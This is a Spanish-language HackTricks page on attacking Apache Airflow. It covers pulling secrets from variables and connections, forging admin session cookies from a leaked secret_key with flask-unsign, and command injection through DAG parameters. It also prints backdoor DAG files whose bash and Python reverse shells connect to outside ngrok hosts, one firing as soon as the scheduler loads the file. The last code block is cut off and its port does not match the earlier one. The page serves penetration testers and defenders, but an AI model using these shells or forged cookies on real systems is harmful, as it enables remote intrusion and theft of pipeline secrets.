Apache Airflow Security

Apoya a HackTricks

Información Básica

Apache Airflow sirve como una plataforma para orquestar y programar tuberías de datos o flujos de trabajo. El término "orquestación" en el contexto de las tuberías de datos significa el proceso de organizar, coordinar y gestionar flujos de trabajo de datos complejos que provienen de diversas fuentes. El propósito principal de estas tuberías de datos orquestadas es proporcionar conjuntos de datos procesados y consumibles. Estos conjuntos de datos son utilizados extensamente por una multitud de aplicaciones, incluyendo, pero no limitado a, herramientas de inteligencia empresarial, modelos de ciencia de datos y aprendizaje automático, todos los cuales son fundamentales para el funcionamiento de aplicaciones de big data.

Básicamente, Apache Airflow te permitirá programar la ejecución de código cuando algo (evento, cron) suceda.

Laboratorio Local

Docker-Compose

Puedes usar el archivo de configuración de docker-compose de https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml para lanzar un entorno docker completo de apache airflow. (Si estás en MacOS asegúrate de darle al menos 6GB de RAM a la VM de docker).

Minikube

Una forma fácil de ejecutar apache airflow es ejecutarlo con minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configuración de Airflow

Airflow podría almacenar información sensible en su configuración o puedes encontrar configuraciones débiles en su lugar:

Airflow Configuration

RBAC de Airflow

Antes de comenzar a atacar Airflow, deberías entender cómo funcionan los permisos:

Airflow RBAC

Ataques

Enumeración de la Consola Web

Si tienes acceso a la consola web, podrías acceder a parte o toda la siguiente información:

  • Variables (Información sensible personalizada podría estar almacenada aquí)

  • Conexiones (Información sensible personalizada podría estar almacenada aquí)

  • Acceder a ellas en http://<airflow>/connection/list/

  • Configuración (Información sensible como el secret_key y contraseñas podría estar almacenada aquí)

  • Listar usuarios y roles

  • Código de cada DAG (que podría contener información interesante)

Recuperar Valores de Variables

Las variables pueden ser almacenadas en Airflow para que los DAGs puedan acceder a sus valores. Es similar a los secretos de otras plataformas. Si tienes suficientes permisos, puedes acceder a ellas en la GUI en http://<airflow>/variable/list/. Airflow por defecto mostrará el valor de la variable en la GUI, sin embargo, de acuerdo a esto, es posible establecer una lista de variables cuyo valor aparecerá como asteriscos en la GUI.

Sin embargo, estos valores aún pueden ser recuperados a través de CLI (necesitas tener acceso a la base de datos), ejecución de DAG arbitrarios, API accediendo al endpoint de variables (la API necesita estar activada), y ¡incluso la propia GUI! Para acceder a esos valores desde la GUI, simplemente selecciona las variables que deseas acceder y haz clic en Acciones -> Exportar. Otra forma es realizar un bruteforce al valor oculto utilizando el filtro de búsqueda hasta que lo obtengas:

Escalación de Privilegios

Si la configuración expose_config está establecida en True, desde el rol Usuario y hacia arriba pueden leer la configuración en la web. En esta configuración, aparece el secret_key, lo que significa que cualquier usuario con esto válido puede crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE en el trabajador de Airflow)

Si tienes acceso de escritura al lugar donde se guardan los DAGs, puedes simplemente crear uno que te enviará un reverse shell. Ten en cuenta que este reverse shell se ejecutará dentro de un contenedor de trabajador de airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE en el programador de Airflow)

Si configuras algo para que sea ejecutado en la raíz del código, en el momento de escribir esto, será ejecutado por el programador después de un par de segundos de colocarlo dentro de la carpeta del DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Creación de DAG

Si logras comprometer una máquina dentro del clúster DAG, puedes crear nuevos scripts de DAG en la carpeta dags/ y serán replicados en el resto de las máquinas dentro del clúster DAG.

Inyección de Código en DAG

Cuando ejecutas un DAG desde la GUI puedes pasar argumentos a él. Por lo tanto, si el DAG no está correctamente codificado, podría ser vulnerable a la Inyección de Comandos. Eso es lo que ocurrió en este CVE: https://www.exploit-db.com/exploits/49927

Todo lo que necesitas saber para comenzar a buscar inyecciones de comandos en DAGs es que los parámetros son accedidos con el código dag_run.conf.get("param_name").

Además, la misma vulnerabilidad podría ocurrir con variables (ten en cuenta que con suficientes privilegios podrías controlar el valor de las variables en la GUI). Las variables son accedidas con:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Si se utilizan, por ejemplo, dentro de un comando bash, podrías realizar una inyección de comandos.

Apoya a HackTricks

Last updated